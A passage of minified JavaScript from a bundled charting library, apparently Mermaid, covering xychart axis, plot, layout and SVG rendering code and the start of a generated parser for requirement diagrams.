this.axisPosition==="left"||this.axisPosition==="right"?this.calculateSpaceIfDrawnVertical(e):this.calculateSpaceIfDrawnHorizontally(e),this.recalculateScale(),{width:this.boundingRect.width,height:this.boundingRect.height}}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}getDrawableElementsForLeftAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.x+this.boundingRect.width-this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["left-axis","axisl-line"],data:[{path:`M ${r},${this.boundingRect.y} L ${r},${this.boundingRect.y+this.boundingRect.height} `,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["left-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.boundingRect.x+this.boundingRect.width-(this.showLabel?this.axisConfig.labelPadding:0)-(this.showTick?this.axisConfig.tickLength:0)-(this.showAxisLine?this.axisConfig.axisLineWidth:0),y:this.getScaleValue(r),fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"middle",horizontalPos:"right"}))}),this.showTick){let r=this.boundingRect.x+this.boundingRect.width-(this.showAxisLine?this.axisConfig.axisLineWidth:0);e.push({type:"path",groupTexts:["left-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${r},${this.getScaleValue(n)} L ${r-this.axisConfig.tickLength},${this.getScaleValue(n)}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["left-axis","title"],data:[{text:this.title,x:this.boundingRect.x+this.axisConfig.titlePadding,y:this.boundingRect.y+this.boundingRect.height/2,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:270,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElementsForBottomAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.y+this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["bottom-axis","axis-line"],data:[{path:`M ${this.boundingRect.x},${r} L ${this.boundingRect.x+this.boundingRect.width},${r}`,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["bottom-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.getScaleValue(r),y:this.boundingRect.y+this.axisConfig.labelPadding+(this.showTick?this.axisConfig.tickLength:0)+(this.showAxisLine?this.axisConfig.axisLineWidth:0),fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}))}),this.showTick){let r=this.boundingRect.y+(this.showAxisLine?this.axisConfig.axisLineWidth:0);e.push({type:"path",groupTexts:["bottom-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${this.getScaleValue(n)},${r} L ${this.getScaleValue(n)},${r+this.axisConfig.tickLength}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["bottom-axis","title"],data:[{text:this.title,x:this.range[0]+(this.range[1]-this.range[0])/2,y:this.boundingRect.y+this.boundingRect.height-this.axisConfig.titlePadding-this.titleTextHeight,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElementsForTopAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.y+this.boundingRect.height-this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["top-axis","axis-line"],data:[{path:`M ${this.boundingRect.x},${r} L ${this.boundingRect.x+this.boundingRect.width},${r}`,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["top-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.getScaleValue(r),y:this.boundingRect.y+(this.showTitle?this.titleTextHeight+this.axisConfig.titlePadding*2:0)+this.axisConfig.labelPadding,fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}))}),this.showTick){let r=this.boundingRect.y;e.push({type:"path",groupTexts:["top-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${this.getScaleValue(n)},${r+this.boundingRect.height-(this.showAxisLine?this.axisConfig.axisLineWidth:0)} L ${this.getScaleValue(n)},${r+this.boundingRect.height-this.axisConfig.tickLength-(this.showAxisLine?this.axisConfig.axisLineWidth:0)}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["top-axis","title"],data:[{text:this.title,x:this.boundingRect.x+this.boundingRect.width/2,y:this.boundingRect.y+this.axisConfig.titlePadding,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElements(){if(this.axisPosition==="left")return this.getDrawableElementsForLeftAxis();if(this.axisPosition==="right")throw Error("Drawing of right axis is not implemented");return this.axisPosition==="bottom"?this.getDrawableElementsForBottomAxis():this.axisPosition==="top"?this.getDrawableElementsForTopAxis():[]}}});var q6,Q1e=N(()=>{"use strict";yr();pt();HF();q6=class extends iy{static{o(this,"BandAxis")}constructor(e,r,n,i,a){super(e,i,a,r),this.categories=n,this.scale=q0().domain(this.categories).range(this.getRange())}setRange(e){super.setRange(e)}recalculateScale(){this.scale=q0().domain(this.categories).range(this.getRange()).paddingInner(1).paddingOuter(0).align(.5),X.trace("BandAxis axis final categories, range: ",this.categories,this.getRange())}getTickValues(){return this.categories}getScaleValue(e){return this.scale(e)??this.getRange()[0]}}});var W6,Z1e=N(()=>{"use strict";yr();HF();W6=class extends iy{static{o(this,"LinearAxis")}constructor(e,r,n,i,a){super(e,i,a,r),this.domain=n,this.scale=Tl().domain(this.domain).range(this.getRange())}getTickValues(){return this.scale.ticks()}recalculateScale(){let e=[...this.domain];this.axisPosition==="left"&&e.reverse(),this.scale=Tl().domain(e).range(this.getRange())}getScaleValue(e){return this.scale(e)}}});function qF(t,e,r,n){let i=new ny(n);return U6(t)?new q6(e,r,t.categories,t.title,i):new W6(e,r,[t.min,t.max],t.title,i)}var J1e=N(()=>{"use strict";H6();UF();Q1e();Z1e();o(qF,"getAxis")});function eye(t,e,r,n){let i=new ny(n);return new WF(i,t,e,r)}var WF,tye=N(()=>{"use strict";UF();WF=class{constructor(e,r,n,i){this.textDimensionCalculator=e;this.chartConfig=r;this.chartData=n;this.chartThemeConfig=i;this.boundingRect={x:0,y:0,width:0,height:0},this.showChartTitle=!1}static{o(this,"ChartTitle")}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}calculateSpace(e){let r=this.textDimensionCalculator.getMaxDimension([this.chartData.title],this.chartConfig.titleFontSize),n=Math.max(r.width,e.width),i=r.height+2*this.chartConfig.titlePadding;return r.width<=n&&r.height<=i&&this.chartConfig.showTitle&&this.chartData.title&&(this.boundingRect.width=n,this.boundingRect.height=i,this.showChartTitle=!0),{width:this.boundingRect.width,height:this.boundingRect.height}}getDrawableElements(){let e=[];return this.showChartTitle&&e.push({groupTexts:["chart-title"],type:"text",data:[{fontSize:this.chartConfig.titleFontSize,text:this.chartData.title,verticalPos:"middle",horizontalPos:"center",x:this.boundingRect.x+this.boundingRect.width/2,y:this.boundingRect.y+this.boundingRect.height/2,fill:this.chartThemeConfig.titleColor,rotation:0}]}),e}};o(eye,"getChartTitleComponent")});var Y6,rye=N(()=>{"use strict";yr();Y6=class{constructor(e,r,n,i,a){this.plotData=e;this.xAxis=r;this.yAxis=n;this.orientation=i;this.plotIndex=a}static{o(this,"LinePlot")}getDrawableElement(){let e=this.plotData.data.map(n=>[this.xAxis.getScaleValue(n[0]),this.yAxis.getScaleValue(n[1])]),r;return this.orientation==="horizontal"?r=Cl().y(n=>n[0]).x(n=>n[1])(e):r=Cl().x(n=>n[0]).y(n=>n[1])(e),r?[{groupTexts:["plot",`line-plot-${this.plotIndex}`],type:"path",data:[{path:r,strokeFill:this.plotData.strokeFill,strokeWidth:this.plotData.strokeWidth}]}]:[]}}});var X6,nye=N(()=>{"use strict";X6=class{constructor(e,r,n,i,a,s){this.barData=e;this.boundingRect=r;this.xAxis=n;this.yAxis=i;this.orientation=a;this.plotIndex=s}static{o(this,"BarPlot")}getDrawableElement(){let e=this.barData.data.map(a=>[this.xAxis.getScaleValue(a[0]),this.yAxis.getScaleValue(a[1])]),n=Math.min(this.xAxis.getAxisOuterPadding()*2,this.xAxis.getTickDistance())*(1-.05),i=n/2;return this.orientation==="horizontal"?[{groupTexts:["plot",`bar-plot-${this.plotIndex}`],type:"rect",data:e.map(a=>({x:this.boundingRect.x,y:a[0]-i,height:n,width:a[1]-this.boundingRect.x,fill:this.barData.fill,strokeWidth:0,strokeFill:this.barData.fill}))}]:[{groupTexts:["plot",`bar-plot-${this.plotIndex}`],type:"rect",data:e.map(a=>({x:a[0]-i,y:a[1],width:n,height:this.boundingRect.y+this.boundingRect.height-a[1],fill:this.barData.fill,strokeWidth:0,strokeFill:this.barData.fill}))}]}}});function iye(t,e,r){return new YF(t,e,r)}var YF,aye=N(()=>{"use strict";rye();nye();YF=class{constructor(e,r,n){this.chartConfig=e;this.chartData=r;this.chartThemeConfig=n;this.boundingRect={x:0,y:0,width:0,height:0}}static{o(this,"BasePlot")}setAxes(e,r){this.xAxis=e,this.yAxis=r}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}calculateSpace(e){return this.boundingRect.width=e.width,this.boundingRect.height=e.height,{width:this.boundingRect.width,height:this.boundingRect.height}}getDrawableElements(){if(!(this.xAxis&&this.yAxis))throw Error("Axes must be passed to render Plots");let e=[];for(let[r,n]of this.chartData.plots.entries())switch(n.type){case"line":{let i=new Y6(n,this.xAxis,this.yAxis,this.chartConfig.chartOrientation,r);e.push(...i.getDrawableElement())}break;case"bar":{let i=new X6(n,this.boundingRect,this.xAxis,this.yAxis,this.chartConfig.chartOrientation,r);e.push(...i.getDrawableElement())}break}return e}};o(iye,"getPlotComponent")});var j6,sye=N(()=>{"use strict";J1e();tye();aye();H6();j6=class{constructor(e,r,n,i){this.chartConfig=e;this.chartData=r;this.componentStore={title:eye(e,r,n,i),plot:iye(e,r,n),xAxis:qF(r.xAxis,e.xAxis,{titleColor:n.xAxisTitleColor,labelColor:n.xAxisLabelColor,tickColor:n.xAxisTickColor,axisLineColor:n.xAxisLineColor},i),yAxis:qF(r.yAxis,e.yAxis,{titleColor:n.yAxisTitleColor,labelColor:n.yAxisLabelColor,tickColor:n.yAxisTickColor,axisLineColor:n.yAxisLineColor},i)}}static{o(this,"Orchestrator")}calculateVerticalSpace(){let e=this.chartConfig.width,r=this.chartConfig.height,n=0,i=0,a=Math.floor(e*this.chartConfig.plotReservedSpacePercent/100),s=Math.floor(r*this.chartConfig.plotReservedSpacePercent/100),l=this.componentStore.plot.calculateSpace({width:a,height:s});e-=l.width,r-=l.height,l=this.componentStore.title.calculateSpace({width:this.chartConfig.width,height:r}),i=l.height,r-=l.height,this.componentStore.xAxis.setAxisPosition("bottom"),l=this.componentStore.xAxis.calculateSpace({width:e,height:r}),r-=l.height,this.componentStore.yAxis.setAxisPosition("left"),l=this.componentStore.yAxis.calculateSpace({width:e,height:r}),n=l.width,e-=l.width,e>0&&(a+=e,e=0),r>0&&(s+=r,r=0),this.componentStore.plot.calculateSpace({width:a,height:s}),this.componentStore.plot.setBoundingBoxXY({x:n,y:i}),this.componentStore.xAxis.setRange([n,n+a]),this.componentStore.xAxis.setBoundingBoxXY({x:n,y:i+s}),this.componentStore.yAxis.setRange([i,i+s]),this.componentStore.yAxis.setBoundingBoxXY({x:0,y:i}),this.chartData.plots.some(u=>VF(u))&&this.componentStore.xAxis.recalculateOuterPaddingToDrawBar()}calculateHorizontalSpace(){let e=this.chartConfig.width,r=this.chartConfig.height,n=0,i=0,a=0,s=Math.floor(e*this.chartConfig.plotReservedSpacePercent/100),l=Math.floor(r*this.chartConfig.plotReservedSpacePercent/100),u=this.componentStore.plot.calculateSpace({width:s,height:l});e-=u.width,r-=u.height,u=this.componentStore.title.calculateSpace({width:this.chartConfig.width,height:r}),n=u.height,r-=u.height,this.componentStore.xAxis.setAxisPosition("left"),u=this.componentStore.xAxis.calculateSpace({width:e,height:r}),e-=u.width,i=u.width,this.componentStore.yAxis.setAxisPosition("top"),u=this.componentStore.yAxis.calculateSpace({width:e,height:r}),r-=u.height,a=n+u.height,e>0&&(s+=e,e=0),r>0&&(l+=r,r=0),this.componentStore.plot.calculateSpace({width:s,height:l}),this.componentStore.plot.setBoundingBoxXY({x:i,y:a}),this.componentStore.yAxis.setRange([i,i+s]),this.componentStore.yAxis.setBoundingBoxXY({x:i,y:n}),this.componentStore.xAxis.setRange([a,a+l]),this.componentStore.xAxis.setBoundingBoxXY({x:0,y:a}),this.chartData.plots.some(h=>VF(h))&&this.componentStore.xAxis.recalculateOuterPaddingToDrawBar()}calculateSpace(){this.chartConfig.chartOrientation==="horizontal"?this.calculateHorizontalSpace():this.calculateVerticalSpace()}getDrawableElement(){this.calculateSpace();let e=[];this.componentStore.plot.setAxes(this.componentStore.xAxis,this.componentStore.yAxis);for(let r of Object.values(this.componentStore))e.push(...r.getDrawableElements());return e}}});var K6,oye=N(()=>{"use strict";sye();K6=class{static{o(this,"XYChartBuilder")}static build(e,r,n,i){return new j6(e,r,n,i).getDrawableElement()}}});function cye(){let t=mh(),e=Qt();return Vn(t.xyChart,e.themeVariables.xyChart)}function uye(){let t=Qt();return Vn(ur.xyChart,t.xyChart)}function hye(){return{yAxis:{type:"linear",title:"",min:1/0,max:-1/0},xAxis:{type:"band",title:"",categories:[]},title:"",plots:[]}}function KF(t){let e=Qt();return sr(t.trim(),e)}function kZe(t){lye=t}function EZe(t){t==="horizontal"?v4.chartOrientation="horizontal":v4.chartOrientation="vertical"}function SZe(t){pn.xAxis.title=KF(t.text)}function fye(t,e){pn.xAxis={type:"linear",title:pn.xAxis.title,min:t,max:e},Q6=!0}function CZe(t){pn.xAxis={type:"band",title:pn.xAxis.title,categories:t.map(e=>KF(e.text))},Q6=!0}function AZe(t){pn.yAxis.title=KF(t.text)}function _Ze(t,e){pn.yAxis={type:"linear",title:pn.yAxis.title,min:t,max:e},jF=!0}function DZe(t){let e=Math.min(...t),r=Math.max(...t),n=ry(pn.yAxis)?pn.yAxis.min:1/0,i=ry(pn.yAxis)?pn.yAxis.max:-1/0;pn.yAxis={type:"linear",title:pn.yAxis.title,min:Math.min(n,e),max:Math.max(i,r)}}function dye(t){let e=[];if(t.length===0)return e;if(!Q6){let r=ry(pn.xAxis)?pn.xAxis.min:1/0,n=ry(pn.xAxis)?pn.xAxis.max:-1/0;fye(Math.min(r,1),Math.max(n,t.length))}if(jF||DZe(t),U6(pn.xAxis)&&(e=pn.xAxis.categories.map((r,n)=>[r,t[n]])),ry(pn.xAxis)){let r=pn.xAxis.min,n=pn.xAxis.max,i=(n-r)/(t.length-1),a=[];for(let s=r;s<=n;s+=i)a.push(`${s}`);e=a.map((s,l)=>[s,t[l]])}return e}function pye(t){return XF[t===0?0:t%XF.length]}function LZe(t,e){let r=dye(e);pn.plots.push({type:"line",strokeFill:pye(y4),strokeWidth:2,data:r}),y4++}function RZe(t,e){let r=dye(e);pn.plots.push({type:"bar",fill:pye(y4),data:r}),y4++}function NZe(){if(pn.plots.length===0)throw Error("No Plot to render, please provide a plot with some data");return pn.title=Pr(),K6.build(v4,pn,x4,lye)}function MZe(){return x4}function IZe(){return v4}function OZe(){return pn}var y4,lye,v4,x4,pn,XF,Q6,jF,PZe,mye,gye=N(()=>{"use strict";qn();La();Oy();tr();gr();ci();oye();H6();y4=0,v4=uye(),x4=cye(),pn=hye(),XF=x4.plotColorPalette.split(",").map(t=>t.trim()),Q6=!1,jF=!1;o(cye,"getChartDefaultThemeConfig");o(uye,"getChartDefaultConfig");o(hye,"getChartDefaultData");o(KF,"textSanitizer");o(kZe,"setTmpSVGG");o(EZe,"setOrientation");o(SZe,"setXAxisTitle");o(fye,"setXAxisRangeData");o(CZe,"setXAxisBand");o(AZe,"setYAxisTitle");o(_Ze,"setYAxisRangeData");o(DZe,"setYAxisRangeFromPlotData");o(dye,"transformDataWithoutCategory");o(pye,"getPlotColorFromPalette");o(LZe,"setLineData");o(RZe,"setBarData");o(NZe,"getDrawableElem");o(MZe,"getChartThemeConfig");o(IZe,"getChartConfig");o(OZe,"getXYChartData");PZe=o(function(){Sr(),y4=0,v4=uye(),pn=hye(),x4=cye(),XF=x4.plotColorPalette.split(",").map(t=>t.trim()),Q6=!1,jF=!1},"clear"),mye={getDrawableElem:NZe,clear:PZe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir,setOrientation:EZe,setXAxisTitle:SZe,setXAxisRangeData:fye,setXAxisBand:CZe,setYAxisTitle:AZe,setYAxisRangeData:_Ze,setLineData:LZe,setBarData:RZe,setTmpSVGG:kZe,getChartThemeConfig:MZe,getChartConfig:IZe,getXYChartData:OZe}});var BZe,yye,vye=N(()=>{"use strict";pt();tu();Ei();BZe=o((t,e,r,n)=>{let i=n.db,a=i.getChartThemeConfig(),s=i.getChartConfig(),l=i.getXYChartData().plots[0].data.map(T=>T[1]);function u(T){return T==="top"?"text-before-edge":"middle"}o(u,"getDominantBaseLine");function h(T){return T==="left"?"start":T==="right"?"end":"middle"}o(h,"getTextAnchor");function f(T){return`translate(${T.x}, ${T.y}) rotate(${T.rotation||0})`}o(f,"getTextTransformation"),X.debug(`Rendering xychart chart +`+t);let d=aa(e),p=d.append("g").attr("class","main"),m=p.append("rect").attr("width",s.width).attr("height",s.height).attr("class","background");mn(d,s.height,s.width,!0),d.attr("viewBox",`0 0 ${s.width} ${s.height}`),m.attr("fill",a.backgroundColor),i.setTmpSVGG(d.append("g").attr("class","mermaid-tmp-group"));let g=i.getDrawableElem(),y={};function v(T){let S=p,w="";for(let[k]of T.entries()){let A=p;k>0&&y[w]&&(A=y[w]),w+=T[k],S=y[w],S||(S=y[w]=A.append("g").attr("class",T[k]))}return S}o(v,"getGroup");for(let T of g){if(T.data.length===0)continue;let S=v(T.groupTexts);switch(T.type){case"rect":if(S.selectAll("rect").data(T.data).enter().append("rect").attr("x",w=>w.x).attr("y",w=>w.y).attr("width",w=>w.width).attr("height",w=>w.height).attr("fill",w=>w.fill).attr("stroke",w=>w.strokeFill).attr("stroke-width",w=>w.strokeWidth),s.showDataLabel)if(s.chartOrientation==="horizontal"){let A=function(I,L){let{data:E,label:D}=I;return L*D.length*.7<=E.width-10};var x=A;o(A,"fitsHorizontally");let w=.7,k=T.data.map((I,L)=>({data:I,label:l[L].toString()})).filter(I=>I.data.width>0&&I.data.height>0),C=k.map(I=>{let{data:L}=I,E=L.height*.7;for(;!A(I,E)&&E>0;)E-=1;return E}),R=Math.floor(Math.min(...C));S.selectAll("text").data(k).enter().append("text").attr("x",I=>I.data.x+I.data.width-10).attr("y",I=>I.data.y+I.data.height/2).attr("text-anchor","end").attr("dominant-baseline","middle").attr("fill","black").attr("font-size",`${R}px`).text(I=>I.label)}else{let A=function(I,L,E){let{data:D,label:_}=I,M=L*_.length*.7,P=D.x+D.width/2,B=P-M/2,F=P+M/2,G=B>=D.x&&F<=D.x+D.width,$=D.y+E+L<=D.y+D.height;return G&&$};var b=A;o(A,"fitsInBar");let w=10,k=T.data.map((I,L)=>({data:I,label:l[L].toString()})).filter(I=>I.data.width>0&&I.data.height>0),C=k.map(I=>{let{data:L,label:E}=I,D=L.width/(E.length*.7);for(;!A(I,D,10)&&D>0;)D-=1;return D}),R=Math.floor(Math.min(...C));S.selectAll("text").data(k).enter().append("text").attr("x",I=>I.data.x+I.data.width/2).attr("y",I=>I.data.y+10).attr("text-anchor","middle").attr("dominant-baseline","hanging").attr("fill","black").attr("font-size",`${R}px`).text(I=>I.label)}break;case"text":S.selectAll("text").data(T.data).enter().append("text").attr("x",0).attr("y",0).attr("fill",w=>w.fill).attr("font-size",w=>w.fontSize).attr("dominant-baseline",w=>u(w.verticalPos)).attr("text-anchor",w=>h(w.horizontalPos)).attr("transform",w=>f(w)).text(w=>w.text);break;case"path":S.selectAll("path").data(T.data).enter().append("path").attr("d",w=>w.path).attr("fill",w=>w.fill?w.fill:"none").attr("stroke",w=>w.strokeFill).attr("stroke-width",w=>w.strokeWidth);break}}},"draw"),yye={draw:BZe}});var xye={};dr(xye,{diagram:()=>FZe});var FZe,bye=N(()=>{"use strict";K1e();gye();vye();FZe={parser:j1e,db:mye,renderer:yye}});var QF,kye,Eye=N(()=>{"use strict";QF=(function(){var t=o(function(fe,xe,W,he){for(W=W||{},he=fe.length;he--;W[fe[he]]=xe);return W},"o"),e=[1,3],r=[1,4],n=[1,5],i=[1,6],a=[5,6,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,77,89,90],s=[1,22],l=[2,7],u=[1,26],h=[1,27],f=[1,28],d=[1,29],p=[1,33],m=[1,34],g=[1,35],y=[1,36],v=[1,37],x=[1,38],b=[1,24],T=[1,31],S=[1,32],w=[1,30],k=[1,39],A=[1,40],C=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,77,89,90],R=[1,61],I=[89,90],L=[5,8,9,11,13,21,22,23,24,27,29,41,42,43,44,45,46,54,61,63,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],E=[27,29],D=[1,70],_=[1,71],O=[1,72],M=[1,73],P=[1,74],B=[1,75],F=[1,76],G=[1,83],$=[1,80],U=[1,84],j=[1,85],te=[1,86],Y=[1,87],oe=[1,88],J=[1,89],ue=[1,90],re=[1,91],ee=[1,92],Z=[5,8,9,11,13,21,22,23,24,27,41,42,43,44,45,46,54,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],K=[63,64],ae=[1,101],Q=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,76,77,89,90],de=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],ne=[1,110],Te=[1,106],q=[1,107],Ve=[1,108],pe=[1,109],Be=[1,111],Ye=[1,116],He=[1,117],Le=[1,114],Ie=[1,115],Ne={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,directive:4,NEWLINE:5,RD:6,diagram:7,EOF:8,acc_title:9,acc_title_value:10,acc_descr:11,acc_descr_value:12,acc_descr_multiline_value:13,requirementDef:14,elementDef:15,relationshipDef:16,direction:17,styleStatement:18,classDefStatement:19,classStatement:20,direction_tb:21,direction_bt:22,direction_rl:23,direction_lr:24,requirementType:25,requirementName:26,STRUCT_START:27,requirementBody:28,STYLE_SEPARATOR:29,idList:30,ID:31,COLONSEP:32,id:33,TEXT:34,text:35,RISK:36,riskLevel:37,VERIFYMTHD:38,verifyType:39,STRUCT_STOP:40,REQUIREMENT:41,FUNCTIONAL_REQUIREMENT:42,INTERFACE_REQUIREMENT:43,PERFORMANCE_REQUIREMENT:44,PHYSICAL_REQUIREMENT:45,DESIGN_CONSTRAINT:46,LOW_RISK:47,MED_RISK:48,HIGH_RISK:49,VERIFY_ANALYSIS:50,VERIFY_DEMONSTRATION:51,VERIFY_INSPECTION:52,VERIFY_TEST:53,ELEMENT:54,elementName:55,elementBody:56,TYPE:57,type:58,DOCREF:59,ref:60,END_ARROW_L:61,relationship:62,LINE:63,END_ARROW_R:64,CONTAINS:65,COPIES:66,DERIVES:67,SATISFIES:68,VERIFIES:69,REFINES:70,TRACES:71,CLASSDEF:72,stylesOpt:73,CLASS:74,ALPHA:75,COMMA:76,STYLE:77,style:78,styleComponent:79,NUM:80,COLON:81,UNIT:82,SPACE:83,BRKT:84,PCT:85,MINUS:86,LABEL:87,SEMICOLON:88,unqString:89,qString:90,$accept:0,$end:1},terminals_:{2:"error",5:"NEWLINE",6:"RD",8:"EOF",9:"acc_title",10:"acc_title_value",11:"acc_descr",12:"acc_descr_value",13:"acc_descr_multiline_value",21:"direction_tb",22:"direction_bt",23:"direction_rl",24:"direction_lr",27:"STRUCT_START",29:"STYLE_SEPARATOR",31:"ID",32:"COLONSEP",34:"TEXT",36:"RISK",38:"VERIFYMTHD",40:"STRUCT_STOP",41:"REQUIREMENT",42:"FUNCTIONAL_REQUIREMENT",43:"INTERFACE_REQUIREMENT",44:"PERFORMANCE_REQUIREMENT",45:"PHYSICAL_REQUIREMENT",46:"DESIGN_CONSTRAINT",47:"LOW_RISK",48:"MED_RISK",49:"HIGH_RISK",50:"VERIFY_ANALYSIS",51:"VERIFY_DEMONSTRATION",52:"VERIFY_INSPECTION",53:"VERIFY_TEST",54:"ELEMENT",57:"TYPE",59:"DOCREF",61:"END_ARROW_L",63:"LINE",64:"END_ARROW_R",65:"CONTAINS",66:"COPIES",67:"DERIVES",68:"SATISFIES",69:"VERIFIES",70:"REFINES",71:"TRACES",72:"CLASSDEF",74:"CLASS",75:"ALPHA",76:"COMMA",77:"STYLE",80:"NUM",81:"COLON",82:"UNIT",83:"SPACE",84:"BRKT",85:"PCT",86:"MINUS",87:"LABEL",88:"SEMICOLON",89:"unqString",90:"qString"},productions_:[0,[3,3],[3,2],[3,4],[4,2],[4,2],[4,1],[7,0],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[17,1],[17,1],[17,1],[17,1],[14,5],[14,7],[28,5],[28,5],[28,5],[28,5],[28,2],[28,1],[25,1],[25,1],[25,1],[25,1],[25,1],[25,1],[37,1],[37,1],[37,1],[39,1],[39,1],[39,1],[39,1],[15,5],[15,7],[56,5],[56,5],[56,2],[56,1],[16,5],[16,5],[62,1],[62,1],[62,1],[62,1],[62,1],[62,1],[62,1],[19,3],[20,3],[20,3],[30,1],[30,3],[30,1],[30,3],[18,3],[73,1],[73,3],[78,1],[78,2],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[26,1],[26,1],[33,1],[33,1],[35,1],[35,1],[55,1],[55,1],[58,1],[58,1],[60,1],[60,1]],performAction:o(function(xe,W,he,z,se,le,ke){var ve=le.length-1;switch(se){case 4:this.$=le[ve].trim(),z.setAccTitle(this.$);break;case 5:case 6:this.$=le[ve].trim(),z.setAccDescription(this.$);break;case 7:this.$=[];break;case 17:z.setDirection("TB");break;case 18:z.setDirection("BT");break;case 19:z.setDirection("RL");break;case 20:z.setDirection("LR");break;case 21:z.addRequirement(le[ve-3],le[ve-4]);break;case 22:z.addRequirement(le[ve-5],le[ve-6]),z.setClass([le[ve-5]],le[ve-3]);break;case 23:z.setNewReqId(le[ve-2]);break;case 24:z.setNewReqText(le[ve-2]);break;case 25:z.setNewReqRisk(le[ve-2]);break;case 26:z.setNewReqVerifyMethod(le[ve-2]);break;case 29:this.$=z.RequirementType.REQUIREMENT;break;case 30:this.$=z.RequirementType.FUNCTIONAL_REQUIREMENT;break;case 31:this.$=z.RequirementType.INTERFACE_REQUIREMENT;break;case 32:this.$=z.RequirementType.PERFORMANCE_REQUIREMENT;break;case 33:this.$=z.RequirementType.PHYSICAL_REQUIREMENT;break;case 34:this.$=z.RequirementType.DESIGN_CONSTRAINT;break;case 35:this.$=z.RiskLevel.LOW_RISK;break;case 36:this.$=z.RiskLevel.MED_RISK;break;case 37:this.$=z.RiskLevel.HIGH_RISK;break;case 38:this.$=z.VerifyType.VERIFY_ANALYSIS;break;case 39:this.$=z.VerifyType.VERIFY_DEMONSTRATION;break;case 40:this.$=z.VerifyType.VERIFY_INSPECTION;break;case 41:this.$=z.VerifyType.VERIFY_TEST;break;case 42:z.addElement(le[ve-3]);break;case 43:z.addElement(le[ve-5]),z.setClass([le[ve-5]],le[ve-3]);break;case 44:z.setNewElementType(le[ve-2]);break;case 45:z.setNewElementDocRef(le[ve-2]);break;case 48:z.addRelationship(le[ve-2],le[ve],le[ve-4]);break;case 49:z.addRelationship(le[ve-2],le[ve-4],le[ve]);break;case 50:this.$=z.Relationships.CONTAINS;break;case 51:this.$=z.Relationships.COPIES;break;case 52:this.$=z.Relationships.DERIVES;break;case 53:this.$=z.Relationships.SATISFIES;break;case 54:this.$=z.Relationships.VERIFIES;break;case 55:this.$=z.Relationships.REFINES;break;case 56:this.$=z.Relationships.TRACES;break;case 57:this.$=le[ve-2],z.defineClass(le[ve-1],le[ve]);break;case 58:z.setClass(le[ve-1],le[ve]);break;case 59:z.setClass([le[ve-2]],le[ve]);break;case 60:case 62:this.$=[le[ve]];break;case 61:case 63:this.$=le[ve-2].concat([le[ve]]);break;case 64:this.$=le[ve-2],z.setCssStyle(le[ve-1],le[ve]);break;case 65:this.$=[le[ve]];break;case 66:le[ve-2].push(le[ve]),this.$=le[ve-2];break;case 